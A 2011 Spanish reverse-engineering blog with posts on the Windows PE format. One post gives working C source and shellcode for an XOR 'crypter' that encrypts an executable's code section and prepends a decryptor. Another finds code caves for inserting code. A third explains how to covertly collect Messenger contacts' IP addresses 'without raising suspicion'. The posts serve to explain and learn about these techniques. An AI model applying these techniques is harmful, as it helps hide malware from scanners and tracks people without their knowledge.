El blog de Thor

Cifrando un ejecutable en C, problemas (2ª parte)

2011-12-19T02:33:00.001+01:00

En esta entrada expliqué los posibles problemas que pueden suceder cuando ciframos un ejecutable y en la última entrada mejoré el “crypter” detectando estas situaciones.

Pero hay otra situación en la que no había caído.

Para empezar veamos la estructura típica de un ejecutable:

La sección que nos interesa es la de código que es la que vamos a cifrar, el resto de secciones no las tocaremos.

Pueden existir mas secciones por ejemplo .idata donde se almacena la IT, Import Table y la IAT, Import Address Table. En muchos ejecutables esta sección no existe y la IT y la IAT se almacenan en otras secciones.

Por ejemplo es habitual encontrarse con la IT en la cabecera del ejecutable y la IAT en la sección de código o ambas en la sección de código. Y esta última es la peor situación que nos puede suceder para nuestro crypter:

El problema es que el crypter que estoy haciendo en su estado actual hace un XOR a toda la sección de código. Y esto sobre un ejecutable que tiene la IT en la sección de código hace que la IT quede inválida, el loader de Windows no pueda leerla y no pueda cargar el ejecutable.

Este problema ya lo había explicado en la otra entrada, el otro problema, es que la IAT se encuentre en la sección de código.

Supongamos que tenemos un ejecutable que tiene la IT en la cabecera (así no nos molesta) y la IAT en la sección de código:

A este ejecutable le pasamos el crypter, el cual hará un XOR a toda la sección de código y agregara una nueva sección para descifrar la sección de código:

En esta situación el loader de Windows puede leer correctamente la IT y rellena correctamente la IAT con las direcciones de las funciones utilizadas por el ejecutable.

Lo siguiente que sucede es que se ejecuta el código de la nueva sección que es el encargado de descifrar la sección de código, volviendo a hacer XOR a la misma y salta al Entry Point original.

Al hacer XOR a la sección de código para descifrarla también se ha hecho XOR a la IAT que había sido rellenada correctamente por el loader y se ha dejado la IAT con direcciones de funciones incorrectas. De modo que el ejecutable cifrado falla en cuando llama a una función de una dll, vamos…siempre.

¿Cómo solucionar esto?

Hay dos opciones, una fácil y otra difícil:

La fácil: Si la IT o la IAT se encuentran en la sección de código, no hacer XOR sobre la zona donde se encuentra.
La difícil: Si la IT o la IAT se encuentra en la sección de código, moverlas a la nueva sección agregada por el crypter.

En la siguiente entrada implementará la primera opción, la segunda para mas adelante.

Buenas noches!

Cifrando un ejecutable en C (2º intento)

2011-11-15T23:17:00.001+01:00

Hace algunos meses hice un programa que cifraba ejecutables en C, mas tarde comente los problemas que podía dar y qué ejecutables no era capaz de cifrar.

Ahora quiero seguir con ello y para retomar el tema tranquilamente he reorganizado el código del “crypter” utilizando los ficheros de funciones que comencé en esta entrada y ya de paso he añadido código para detectar cuando no es posible cifrar el programa. Para recordar esto podía suceder en las siguientes situaciones:

No hay espacio suficiente en la cabecera PE para agregar una sección.
La tabla de importaciones está en la sección de código (.text, .code) que es la que cifra mi programa. Esto hace que la tabla quede cifrada y no pueda ser leída por el cargador de Windows.
La tabla de importaciones o la “Bound Import Table” está justo después de la tabla de secciones, de modo que si se agrega una sección sobrescribe estas tablas dañándolas.

A continuación pongo el contenido del fichero main.cpp

#include <stdio.h>
#include <windows.h>
#include "PECore.h"

//Rutina encargada de descifrar la sección cifrada
byte uncryptroutine[] =    //21 bytes
 "\xB8\x00\x10\x40\x00"  //B8 00104000  MOV EAX, 401000    Section Start  ||Este valor será modificado
 "\x80\x30\xBB"          //8030 BB      XOR BYTE[EAX], BB  Key
 "\x40"                  //40           INC EAX
 "\x3D\x00\x45\x40\x00"  //3D 00454000  CMP EAX, 404500    Section End  ||Este valor será modificado
 "\x75\xF5"              //75 F5        JNZ SHORT -11      (Complemento a dos de 11 = F5)
 "\xB8\x00\x20\x40\x00"  //B8 00204000  MOV EAX, 402000    Pone en EAX el OEP || Este valor será modificado
 "\xFF\xE0";    //FFE0         JMP EAX     Salta al OEP

//Posiciones de la rutina que tienen que ser corregidas
const int SectionStartPos = 1;
const int KeyPos = 7;
const int SectionEndPos = 10;
const int OEPPos = 17;

const byte CipherKey = 0xBB;

//Modifica la rutina de descifrado para introducirle los datos que cambian
void ChangeUncryptRoutine(byte *uncryptroutine, DWORD VirtualStart, DWORD VirtualEnd, DWORD OEP, byte CipherKey)
{
 memcpy(&uncryptroutine[SectionStartPos], &VirtualStart, sizeof(DWORD));
 memcpy(&uncryptroutine[SectionEndPos], &VirtualEnd, sizeof(DWORD));
 memcpy(&uncryptroutine[OEPPos], &OEP, sizeof(DWORD));
 memcpy(&uncryptroutine[KeyPos], &CipherKey, sizeof(byte));
}

int main(int argc, char *argv[])
{
 if(argc != 2)
 {
  printf("Pasame un archivo como argumento, ej: %s program.exe\n", *argv);
  return EXIT_FAILURE;
 }
 //Necesitamos saber el pINH->OptionalHeader.FileAlignment para saber exactamente el tamaño del nuevo ejecutable una vez cifrado
 DWORD fileAlignment = GetFileAlignment(argv[1]);
 if (fileAlignment == -1)
  return EXIT_FAILURE;

 DWORD fileSize = GetFileSize(argv[1]);
 if (fileSize == -1)
  return EXIT_FAILURE;
 //El nuevo tamaño es el original mas el tamaño de la sección alineada
 DWORD newSize = fileSize + Align(sizeof(uncryptroutine) ,fileAlignment);
 MapInfo mapInfo;
 if (OpenAndMapFile(&mapInfo, argv[1], newSize) == -1)
  return EXIT_FAILURE;
 if (!IsValidExe(mapInfo.viewMappedFile))
 {
  printf("%s no es un archivo ejecutable valido\n", *argv);
  return EXIT_FAILURE;
 }
 PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)mapInfo.viewMappedFile;
 PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)&mapInfo.viewMappedFile[pIDH->e_lfanew];
 PIMAGE_SECTION_HEADER pISH = RVAToSection(mapInfo.viewMappedFile, pINH->OptionalHeader.AddressOfEntryPoint);
 printf("EP apunta a la seccion: %s\n", pISH->Name);

 //Comprobamos si la IT está también en la sección de código, donde apunta el EP, si es así no podemos cifrar el ejecutable
 PIMAGE_SECTION_HEADER pIT = RVAToSection(mapInfo.viewMappedFile, pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
 if (pISH == pIT)
 {
  printf("La tabla de importaciones está en la sección de código, el crypter de momento no puede cifrar estos ejecutables\n");
  return EXIT_FAILURE;
 }

 //Añadimos permisos de escritura a la sección que se va a encriptar
 pISH->Characteristics |= IMAGE_SCN_MEM_WRITE;
 printf("Añadidos permisos de escritura a la seccion: %s\n", pISH->Name);

 //Ciframos la sección donde apunta el EP
 CipherSectionXOR(mapInfo.viewMappedFile, pISH, CipherKey);
 printf("Seccion %s cifrada\n", pISH->Name);

 //Añadimos una sección para incluir en ella la rutina de descifrado
 PIMAGE_SECTION_HEADER pNewISH = AddSection(mapInfo.viewMappedFile, ".crypt", sizeof(uncryptroutine));
 if ((int)pNewISH < 0)
 {
  CloseAndUnmapFile(&mapInfo);
  PrintfAddSectionError(pNewISH);
  return EXIT_FAILURE;
 }
 printf("Seccion %s agregada\n", pNewISH->Name); 

 DWORD OEP = pINH->OptionalHeader.AddressOfEntryPoint;
 //El nuevo entry point estará al comienzo de la nueva sección
 pINH->OptionalHeader.AddressOfEntryPoint = pNewISH->VirtualAddress;
 printf("EP cambiado a: %#x\n", pNewISH->VirtualAddress);

 //Modificamos la rutina de desencriptación
 DWORD VirtualStart = pINH->OptionalHeader.ImageBase + pISH->VirtualAddress;
 DWORD VirtualEnd = VirtualStart + pISH->Misc.VirtualSize;
 OEP += pINH->OptionalHeader.ImageBase;
 //Modifica la rutina de descifrado cambiando los datos necesarios para que funcione
 ChangeUncryptRoutine(uncryptroutine, VirtualStart, VirtualEnd, OEP, CipherKey);
 printf("Rutina de descifrado modificada con los valores: %#x-%#x, %#x, %d\n", VirtualStart, VirtualEnd, OEP, CipherKey);

 if (fileSize != pNewISH->PointerToRawData)
 {
  printf("Existen datos EOF, se copiaran al final del fichero\n");
  //Los datos EOF se desplazan al final del fichero
  memcpy(&mapInfo.viewMappedFile[pNewISH->PointerToRawData + pNewISH->SizeOfRawData], &mapInfo.viewMappedFile[pNewISH->PointerToRawData], fileSize - pNewISH->PointerToRawData);
 }

 //Escribimos la rutina de desencriptación al inicio de la nueva sección
 memcpy(&mapInfo.viewMappedFile[pNewISH->PointerToRawData], uncryptroutine, sizeof(uncryptroutine));
 //Rellenamos de 00s el resto de la sección
 memset(&mapInfo.viewMappedFile[pNewISH->PointerToRawData + sizeof(uncryptroutine)], 0, pNewISH->SizeOfRawData - sizeof(uncryptroutine));
 printf("Rutina de descifrado escrita\n");
 
 //Cerramos la vista mapeada
 CloseAndUnmapFile(&mapInfo);

 printf("Archivo encriptado!\n");
 return EXIT_SUCCESS;
}

El resto de ficheros necesarios (PECore.cpp y PECore.h) junto al propio main.cpp los subo aquí.

En las siguientes entradas modificaré el crypter para que no cifre la IT si la encuentra en la sección de código, mejoraré el código en ensamblador encargado de cifrar y otras cosas según vayan surgiendo.

Saludos!

Cómo conseguir la IP de tus contactos de Windows Live Messenger

2011-09-01T09:57:00.000+02:00

Buenas, en muchos sitios se dice cómo es posible obtener la IP de un contacto de Messenger enviándole un fichero y mirando con netstat las conexiones.

Aquí voy a mostrar cómo es posible hacerlo sin enviar ningún fichero. Y obtener no solo la IP pública sino también las IPs internas de sus adaptadores de red. Se hará de forma manual, usando netstat, después usando Wireshark y por último expondré un programa que he realizado que automáticamente muestra las IPs de los contactos según se van obteniendo.

Lo primero que debemos saber es cómo funciona Messenger por encima. La autenticación la realiza conectándose a los servidores de Microsoft vía SSL. Una vez autenticado todas las conversaciones pasan por los servidores de Microsoft sin ningún tipo de cifrado (así que cuidado con utilizar Messenger en redes inseguras).

Un tema aparte es como se envían entre los contactos ficheros, imágenes, avatares y emoticonos. Para ello Messenger utiliza un protocolo p2p. Así que cuando un contacto solicita por ejemplo nuestro avatar se inicia una negociación entre nosotros y el contacto para ver cómo es posible realizar la conexión. En este punto ambas partes se intercambian las IPs internas y externas, puertos, tipo de conexión, si usamos NAT, UPnP, etc…

En en este punto a donde podemos aprovecharnos para saber la IP del otro contacto.

Con netstat

La opción más fácil es utilizar netstat para monitorizar las conexiones y ver las nuevas conexiones que realiza el proceso del Messenger. Vamos a ello. Todo desde la consola.

El proceso encargado de las comunicaciones de Messenger es wlcomm.exe. Así que obtenemos su PID:

tasklist | find "wlcomm.exe"

Ahora con el PID podemos filtrar la salida de netstat para quedarnos solo con las conexiones que realiza dicho proceso(requiere permisos de administrador):

netstat -nabo | find "PID_ENCONTRADO"

Ahora en este punto iniciamos una conversación con el contacto del que nos interesa saber la IP y le enviamos un emoticono personalizado, para no levantar sospechas lo mejor es un emoticono transparente o blanco. Se iniciará la negociación entre los dos clientes y se iniciará la conexión. Volvemos a lanzar el comando anterior y veremos una nueva conexión de nuestro contacto.

Con Wireshark

Vamos a filtrar los paquetes obtenidos por Wireshark para quedarnos con aquellos donde se realiza la negociación entre dos contactos. De ahí cogeremos la IP externa y las internas.

Wireshark ofrece el filtro “msnms” para quedarnos con los paquetes del procolo de Messenger.

Mirando paquete a paquete en uno de ellos encontraremos algo así:

Fijaos en estas cadenas:
“srddA-lanretxE4vPI” Dando la vuelta a la cadena: IPv4External-Addrs
“srddA-lanretnI4vPI” –> IPv4External-Addrs

En esos campos se muestran las IPs y puertos donde se debe realizar la conexión. Claro que hay que darles la vuelta. Mirando el campo “From:” sabremos de que contacto es la IP.

Ir mirando los paquetes uno a uno buscando estos campos no parece muy divertido. Es mas cómodo hacer un filtro que busque en todo el paquete la cadena “srddA-lanretxE4vPI” o “stroPdnAsrddAlanretxE4vPI” (que es otra de las formas en las que aparece).

Este es el filtro que se queda con los paquetes que nos interesan:

frame[0:] contains 73:74:72:6f:50:64:6e:41:73:72:64:64:41:6c:61:6e:72:65:74:78:45:34:76:50:49:3a:20:36:34:37:33:3a:31:39:2e:35:30:31:2e:39:34:2e:35:38:0d:0a or frame[0:] contains 73:72:64:64:41:2d:6c:61:6e:72:65:74:78:45:34:76:50:49

Con mi programa “GetMSNIPs”

Usando Wireshark con el filtro se pueden obtener las IPs de una manera bastante cómoda. Pero me apetecía hacerlo un poco mas sencillo y ya de paso programar algo usando WinPcap.

El resultado es este programa que ahora expongo, le he llamado GetMSNIPs, me encantan los nombres originales. No pongo el código aquí que son 300 líneas.

GetMSNIPs: Source y binario.

Una captura de cómo funciona:

Modo de uso:

Si no tiene instalado WinPcap, instálelo!.
Arranque “GetMSNIPs” y seleccione la interfaz con la que se conecta a internet.
Inicie Windows Live Messenger y cámbiese de avatar, utilice uno que no haya usado antes (así sus contactos no lo tendrán y se iniciará una conexión P2P para su envío).
Espere un tiempo ó inicie conversaciones con sus contactos para forzar a que carguen su avatar y capturar así su IP.

Así que ya sabéis, si usáis Windows Live Messenger estas diciendo a tus contactos tu dirección IP. No es un gran problema, pero está bien saberlo.

Saludos!

Hacer un ejecutable aun más pequeño

2011-08-30T13:09:00.005+02:00

En el anterior post se mostraba cómo configurar Visual Studio para generar ejecutables pequeños de 1 kb. Es posible que un ejecutable sea todavía mas pequeño. Aunque ya hay que meterse en ensamblador y usar un editor hexadecimal.

Lo único que he encontrado al respecto es este artículo de Solar Eclipse.
http://www.phreedom.org/solar/code/tinype/

En él llega a un ejecutable de 97 bytes pero tras probarlo en diferentes versiones de Windows he constatado que solo funciona en versiones anteriores a Windows XP SP2, en esta versión y en posteriores no funciona, ni este ejecutable de 97 bytes, ni otros tantos del mismo artículo. También hay problemas con las versiones de Windows de 64 bits, donde el loader tiene comportamiento ligeramente diferente. Veámoslo.

En el artículo de Solar Eclipse, lo primero que hace es eliminar la librería Runtime de C para conseguir un ejecutable de 1k, como se hizo en el anterior artículo.

Lo siguiente que hace es reducir el valor de SectionAlignment mediante el parámetro /ALIGN:1 (Explicación en MSDN).

El problema es que VC++ 9.0 devuelve un error al intentar usar dicho parámetro:

Error    1    fatal error LNK1164: alineación de la sección 0x2 (2) superior al valor /ALIGN

El mínimo valor que deja usar es 4 y aun así modifica solo el valor de SectionAlignment dejándolo a 4, pero no modifica el valor de FileAlignment (como si hacía VC 6.0) para dejarlo también a 4.

Esto hace que el ejecutable no cumpla el estándar (Microsoft Portable Executable and Common Object File Format Specification), el cúal dice claramente:
”The section align must be greater than or equal to FileAlignment.”

“If the SectionAlignment is less than the architecture’s page size (0x1000), then FileAlignment must match SectionAlignment.”

En este caso en el que SectionAlignment es menor que 0x1000 FileAlignment también debe valer 4. Si cambiamos el valor de FileAlignment veremos como el ejecutable si funciona en todos los Windows >= Windows XP excepto en las versiones de x64 bits.

¿Por qué no funciona en las versiones de 64 bits? No se la razón exacta, solo se que para que funcione correctamente es necesario que SizeOfImage sea 0x1000 mayor de lo que debería ser (Extraño, sabe el por qué exacto que no dude en decirlo). Esto solo se da cuando SectionAlignment es menor que el page size.

Continuemos con el artículo de Solar Eclipse.

“Switching to assembly and removing the DOS stub”

El siguiente paso que toma para reducir el tamaño de un ejecutable es utilizar ensamblador, NASM. Es curioso que en el propio código en ensamblador del programa defina los campos de la cabecera PE. De este modo evita el uso del linker, que debería ser el que ensambla el ejecutable, crea la cabecera PE, las secciones, incluye los recursos, etc… Con esto logra una gran flexibilidad a la hora de generar un ejecutable con una cabecera personalizada.

Aunque de nuevo nos encontramos con problemas. Ya que en la primera revisión de 2009 de Nasm se introdujo el macro SECTALIGN. El código de Solar Eclipse, usa una variable con el mismo nombre, NASM nos da un error al ser una palabra reservada. Así que es necesario renombrar la variable SectAlign.

Este ejecutable, el de 356 bytes, no funciona en las versiones de 64 bits por lo que he explicado antes. Se puede solucionar cambiando esta línea:

dd round(filesize, sectalign) ; SizeOfImage

Por esta:

dd round(filesize, sectalign) + 0x1000 ; SizeOfImage

Así nos funcionará en todas las versiones de Windows >= XP tanto en 32 como en 64 bits.

tiny_356_mod.asm | tiny_356_mod.exe

“Collapsing the MZ header”

En este apartado superpone la cabecera PE con la cabecera MZ. Sitúa la cabecera Pe en el offset 4 haciendo que varios campos de ambas cabeceras se superpongan. El único campo importante de la cabecera MZ, aparte del magic number, es el e_lfanew, en el offset 0x3C. Este campo coincide con el campo de la cabecera PE, SectionAlignment. Da a ambos campos el valor de 4.

Para entender mejor esto en el desparecido blog de Ero Carrera se pueden ver algunos gráficos explicando los campos de este ejecutable.
http://web.archive.org/web/20081011023041/http://blog.dkbza.org/2007/03/tiny-and-crazy-pe.html

Como en el anterior apartado para que funcione en todos los Windows es necesario cambiar el valor del SizeOfImage.

tiny_296_mod.asm | tiny_296_mod.exe

“Removing the data directories”

Este apartado será el último que seremos capaces de realizar si queremos que el ejecutable funcione en todas las versiones de Windows.

La modificación que realiza aquí consiste en eliminar el directorio de datos, ya que no se están usando.

dd 0             ; NumberOfRvaAndSizes

Ahorrando así, 16x8=128 bytes.

Pero el ejecutable resultante no funciona en Windows XP SP2 y en siguientes versiones de Windows. El mensaje es curioso:

¿128 bytes demasiado extenso? :P

El problema en esta ocasión parece estar en que a pesar de que se ha puesto en el campo “NumberOfRvaAndSizes” un 0, el Loader espera que en disco esté toda la tabla de directorios, aunque esté vacía.

Así este ejecutable funciona:

Pero este otro no:

Fijaos que los últimos 4 ceros perteneces al Overlay del ejecutable. No pertenecen a ninguna sección, ni se ven reflejados en ningún campo del PE. Un tanto enigmático…

De este modo llegamos al ejecutable mas pequeño que funciona en todas las versiones de Windows superiores a XP, incluida.

; tiny.asm

BITS 32

;
; MZ header
;
; The only two fields that matter are e_magic and e_lfanew

mzhdr:
    dw "MZ"       ; e_magic
    dw 0          ; e_cblp UNUSED

;
; PE signature
;

pesig:
    dd "PE"       ; e_cp, e_crlc UNUSED       ; PE signature

;
; PE header
;

pehdr:
    dw 0x014C     ; e_cparhdr UNUSED          ; Machine (Intel 386)
    dw 0          ; e_minalloc UNUSED         ; NumberOfSections, 0
code:
    dd 0xC3582A6A ; e_maxalloc, e_ss UNUSED   ; TimeDateStamp UNUSED   		; Code (push byte 42, pop eax, ret)
    dd 0          ; e_sp, e_csum UNUSED       ; PointerToSymbolTable UNUSED
    dd 0          ; e_ip, e_cs UNUSED         ; NumberOfSymbols UNUSED
    dw opthdrsize ; e_lsarlc UNUSED           ; SizeOfOptionalHeader
    dw 0x103      ; e_ovno UNUSED             ; Characteristics

;
; PE optional header
;

filealign equ 4
sectalignn equ 4   ; must be 4 because of e_lfanew

%define round(n, r) (((n+(r-1))/r)*r)

opthdr:
    dw 0x10B      ; e_res UNUSED              ; Magic (PE32)
    db 8                                      ; MajorLinkerVersion UNUSED
    db 0                                      ; MinorLinkerVersion UNUSED
    dd round(4, filealign)                    ; SizeOfCode UNUSED
    dd 0          ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED
    dd 0          ; e_res2 UNUSED             ; SizeOfUninitializedData UNUSED
    dd code                                   ; AddressOfEntryPoint
    dd code                                   ; BaseOfCode UNUSED
    dd round(filesize, sectalignn)             ; BaseOfData UNUSED
    dd 0x400000                               ; ImageBase
    dd sectalignn ; e_lfanew                  ; SectionAlignment
    dd filealign                  ; FileAlignment
    dw 4                          ; MajorOperatingSystemVersion UNUSED
    dw 0                          ; MinorOperatingSystemVersion UNUSED
    dw 0                          ; MajorImageVersion UNUSED
    dw 0                          ; MinorImageVersion UNUSED
    dw 4                          ; MajorSubsystemVersion
    dw 0                          ; MinorSubsystemVersion UNUSED
    dd 0                          ; Win32VersionValue UNUSED
    dd round(filesize, sectalignn) + 0x1000; SizeOfImage
    dd round(hdrsize, filealign)  ; SizeOfHeaders
    dd 0                          ; CheckSum UNUSED
    dw 2                          ; Subsystem (Win32 GUI)
    dw 0x400                      ; DllCharacteristics UNUSED
    dd 0x100000                   ; SizeOfStackReserve UNUSED
    dd 0x1000                     ; SizeOfStackCommit
    dd 0x100000                   ; SizeOfHeapReserve
    dd 0x1000                     ; SizeOfHeapCommit UNUSED
    dd 0                          ; LoaderFlags UNUSED
    dd 0                          ; NumberOfRvaAndSizes UNUSED

;
; Data directories
;

    times 16 dd 0, 0 ; Empty Directory data, it's needed in Windows >= XP SP2
    dd 0, 0, 0, 0	 ; Compatibility with x64 Windows

opthdrsize equ $ - opthdr

hdrsize equ $ - $$

filesize equ $ - $$

Una última cosa. Para que funcione en Windows de 64 bits requiere 16 bytes más a continuación de la tabla de directorios :|

tiny-Compatible.asm | tiny-Compatible.exe

268 bytes, esto es lo mínimo que puede ocupar un ejecutable que funcione en XP, Vista y W7 tanto en versiones de 32 como de 64 bits.

4 bytes de la cabera MZ + 24 bytes de la cabecera PE + 96 bytes de la cabecera PE Opcional + 128 bytes de la tabla de directorios (compatibilidad >= XP SP2) + 16 bytes (compatibilidad x64) = 268 bytes.

Documentación relacionada:

Después en el artículo para conseguir dejar el exe en 97 bytes superpone la tabla de secciones sobre la cabecera PE. Otra opción hubiese sido eliminar la tabla de secciones y utilizar un ejecutable sin ninguna sección. Esto está explicado en esta presentación de Alexander Liskin. PE: Specification vs. Loader.

Otro documento muy interesante en el que se lleva el formato PE es el white papper Undocumented PECOFF de ReversingLabs, presentado este año en la BlackHat USA.

Ha sido un artículo un poco pesado, con bastantes cosas “mágicas” que no se sabe muy bien por qué suceden. Para entender bien la implementación del loader de windows habría que realizar ingeniería inversa al mismo, ¿eso es legal?. Todas las demás conclusiones pueden estar equivocadas.

Si alguien logra un ejecutable menor de 268 bytes compatible con "todos" los Windows o hay alguna parte equivocada os animo a corregirme en los comentarios.
Saludos!

Generar ejecutables pequeños con VC++ 9.0 y Visual Studio 2008

2011-08-22T11:21:00.002+02:00

En esta entrada voy a explicar cómo configurar Visual C++ 9.0, en el entorno Visual Studio 2008, para que genere ejecutables lo más pequeños posibles.

Me he basado en este artículo, que explica lo mismo para VC++ 6.0:
http://www.catch22.net/tuts/minexe

Para hacer las pruebas vamos a realizar un programa muy sencillo, que muestra un mensaje y se cierra.

#include <stdio.h>

int main(int argc, char* argv[])
{
	printf("Hola");
	return 0;
}

Este sencillo programa ocupa 30 Kb. Lo primero que hay que hacer cambiar la configuración del proyecto que por defecto está en modo DEBUG. Cambiándola a RELEASE conseguimos que el ejecutable baje a 7 kb. Ahora sobre esta configuración iremos cambiando cosas para disminuir aun mas el peso.

El compilador VC++ como se explica en el artículo que puse al principio, define su propio punto de entrada, donde hace distintas inicializaciones y ya después de todo eso ejecuta el main. Esquema de esta función:

int mainCRTStartup()
{
    int retval;
    init_heap();
    parse_command_line();
    init_global_vars();
    init_exception_handling();
    // finally call the user-defined main
    retval = main();
    // terminate all threads and exit
    ExitProcess(retval);
}

Esto supone código y dependencias extra. Podemos decir a VC++ que nuestro punto de entrada sea nuestra función main, de esta forma ignorará su función por defecto.

Para ello en Visual Studio, en las propiedades de nuestro proyecto en el apartado “Propiedades de configuración > Vinculador > Avanzadas” en “Punto de entrada” pondremos “main”.

Con esto reducimos el ejecutable hasta los 3.5 kb.

Hay que tener cuidado porque al saltarnos la función inicial de VC++ (donde se llamaba a “parse_command_line()”) ya no podemos acceder a los argumentos mediante argc y argv. Si necesitamos acceder a los mismos se puede hacer con la API GetCommandLine.

Sigamos adelgazando el ejecutable, veamos las secciones que tiene:

Una sección que nos podemos ahorrar es la de .reloc. Las relocalizaciones. Esta sección es mas típica de DLLs, que pueden ser cargadas en diferentes direcciones de memoria. En este ejecutable aparece porque esta activada la opción de DYNAMICBASE para que el ejecutable sea compatible con ASLR. Podemos confiar en que nuestro ejecutable conseguirá cargarse en la dirección base que tiene configurada por defecto y que no necesitará las relocalizaciones, en los ejecutables no suele dar problemas esto.

Para desactivar esta opción vamos a “Propiedades de configuración > Vinculador > Avanzadas”, “Dirección base aleatoria” y seleccionamos Deshabilitar.

Ahora el ejecutable pesa 3.37 kb.

Volvemos a ver las secciones y se ve como hay información de depuración en EOF. En la tabla de directorios también aparece:

Solo es una ruta hacia el fichero pdb de nuestro equipo el cual contiene toda la información de depuración, no nos hace ahorrar mucho, pero cuanto mas simple mantengamos el ejecutable mejor.

“Propiedades de configuración > Vinculador > Depuración”, “Generar información de depuración”, “No”.

Dejamos el ejecutable en los 3 kb.

Otra sección que se puede eliminar es la sección de recursos, .rsrc. se puede ver que solo contiene el archivo de manifiesto. En él se especifica los permisos con los que se necesita arrancar el ejecutable (UAC). Además también se incluye aquí algunas dependencias, ensamblados, como es el caso de MSVCR90.DLL, que solo se puede cargar desde el manifiesto (no entiendo muy bien el por qué, se admiten explicaciones en los comentarios y lo incorporo aquí).

El hecho de depender de MSVCR90.DLL hace además que sea necesario instalar el “Paquete redistribuible de Microsoft Visual C++ 2008” en aquellos equipos donde se vaya a ejecutar la aplicación.

¿Opciones?

Usar otra librería en tiempo de ejecución para C. Aquí podemos ver las alternativas:
http://msdn.microsoft.com/en-us/library/abx4dbyh(v=VS.90).aspx
Por defecto se usa “Multithreaded, dynamic link” /MD. La cual requiere la carga de la DLL MSVCR90.DLL.
Se puede usar la opción “Multithreaded, static link”. La librería se “linka” estáticamente, nos libramos de DLLs externas pero el ejecutable incrementa su tamaño en 37 Kbytes.
Usar solamente la API de Windows, así no dependemos de librerías y no aumentamos el tamaño del ejecutable.

Como buscamos disminuir el tamaño del ejecutable elegimos la segunda opción. Así que nos toca buscar una equivalencia al printf con la API de Windows:

#include <windows.h>

int main()
{
	WriteConsoleA(GetStdHandle(STD_OUTPUT_HANDLE), "Hola", 4, NULL, NULL);
	return 0;
}

Como ya no se va a usar la librería en tiempo de ejecución para C, la quitamos. “Propiedades de configuración > Vinculador > Entrada” en “Omitir todas las bibliotecas predeterminadas” ponemos Si.

Ahora al compilar veremos un error:

Desaparece poniendo en “Propiedades de configuración > C/C++ > Generación de código” en “Comprobación de seguridad de buffer” No (/GS-).

Ya podremos quitar el manifiesto ya que no necesitamos permisos especiales para el UAC, ni la carga de ningún ensamblado. Con ello quitaremos también al sección .rsrc.

En “Propiedades de configuración > Vinculador > Archivo de manifiesto” en “Generar manifiesto” ponemos No.

Nos quitamos al sección .rsrc. 1 kb menos, el ejecutable pesa 2 kb.

Ahora solo tenemos 2 secciones .text y .rdata.

En .text tenemos el código mínimo para ejecutar nuestro programa. Sin inicializaciones ni cosas raras.

En .rdata están la cadena “Hola” y la Import Table.

Lo que sigue dando tamaño al ejecutable es la existencia de las 2 secciones alineadas. Para ello es posible combinar una en la otra con la siguiente directiva:

#include <windows.h>

#pragma comment(linker,"/merge:.rdata=.text")

int main()
{
	WriteConsoleA(GetStdHandle(STD_OUTPUT_HANDLE), "Hola", 4, NULL, NULL);
	return 0;
}

Con esto dejamos el ejecutable en 1 kb. Lo mas bajo que es posible dejarlo sin editar el ejecutable a mano. Subo aquí el proyecto de Visual Studio.

Para reducirlo mas, ~130 bytes, se puede leer este texto: Tiny PE, es una pasada, aunque el ejecutable generado no es compatible con Windows 7.

Saludos!

Sencillo programa para encontrar huecos en ejecutables

2011-08-18T21:09:00.004+02:00

Seguramente muchos conozcáis la herramienta ToPo un programa, con 12 años a sus espaldas, para buscar huecos en los ejecutables y así poder insertar código sin necesidad de añadir nuevas secciones.

Estos huecos surgen cuando se alinean las secciones del ejecutable en disco con el valor FileAlignment que suele tomar el valor de 0x200. Por ejemplo si un programa tiene una sección que realmente ocupa 0x310 bytes, estará obligado a tener una sección en el ejecutable en disco de tamaño como mínimo 0x400 bytes y gracias a este alineamiento hay 0xF0 bytes al final de la sección que no son utilizados para nada.

El caso es que quería crearme un sencillo programa que encontrara estos huecos, para después usarlo en el crypter y si se puede no añadir una nueva sección aprovechando los huecos.

La idea es recorrer todas las secciones y comprobar una a una si el valor de VirtualSize, el tamaño real de al sección, es menor que el tamaño de al sección en disco, SizeOfRawData. En este caso existe un hueco en esa sección de tamaño SizeOfRawData – VirtualSize.

Aquí os dejo el código, la mayoría de la funcionalidad se encuentra en el fichero PECore.cpp, un fichero donde he sacado las funciones mas comunes ha realizar con ejecutables. Así es mas fácil entender el código.

#include <stdio.h>
#include <windows.h>
#include "PECore\PECore.h"

int main(int argc, char *argv[])
{
	if(argc != 2)
	{
		printf("Se esperaba 1 parametro, el fichero donde se buscarán los huecos\n");
		printf("Ej: %s notepad.exe\n", argv[0]);
		return EXIT_FAILURE;
	}
	MapInfo mapInfo;
	if (OpenAndMapFile(&mapInfo, argv[1]) == -1)
		return EXIT_FAILURE;
	//En cada sección se comprueba si el tamaño virtual es menor que el tamaño en disco de la sección
	//VirtualSize < SizeofRawData, en ese caso hay un hueco que ha surgido de las alineaciones
	PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)mapInfo.viewMappedFile;
	PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)&mapInfo.viewMappedFile[pIDH->e_lfanew];
	for(DWORD i = 0; i < pINH->FileHeader.NumberOfSections; i++)
	{
		PIMAGE_SECTION_HEADER pISH = (PIMAGE_SECTION_HEADER)&mapInfo.viewMappedFile[pIDH->e_lfanew + sizeof(IMAGE_NT_HEADERS) + i*sizeof(IMAGE_SECTION_HEADER)];
		if (pISH->Misc.VirtualSize < pISH->SizeOfRawData)
		{
			//Hay un hueco, imprimimos su ubicación y tamaño
			DWORD Pos = pISH->VirtualAddress + pISH->Misc.VirtualSize;
			printf("Hueco encontrado!\n");
			printf("Section: %s\n", pISH->Name);
			printf("RVA:\t%#x\n", Pos);
			printf("Offset:\t%#x\n", RVAToOffset(mapInfo.viewMappedFile, Pos));
			printf("Size:\t%#x\n\n", pISH->SizeOfRawData - pISH->Misc.VirtualSize);
		}
	}
	CloseAndUnmapFile(&mapInfo);

	return EXIT_SUCCESS;
}

Subo los ficheros PETools.h y PETools.cpp aquí, espero ir mejorándolos con lo que necesite.

Por supuesto ToPo es mucho mas completo, da la posibilidad de redireccionar el EP al hueco, añadir secciones y modificar sus permisos.

Saludos!

Cifrando un ejecutable en C, problemas

2011-08-12T17:41:00.001+02:00

Cifrando un ejecutable en C

El código que se mostró en la anterior entrada para cifrar un ejecutable haciendo XOR sobre toda su sección de código no funciona con todos los ejecutables. Vamos a ver algunas de las posibles situaciones en las que se me ocurre que puede fallar.

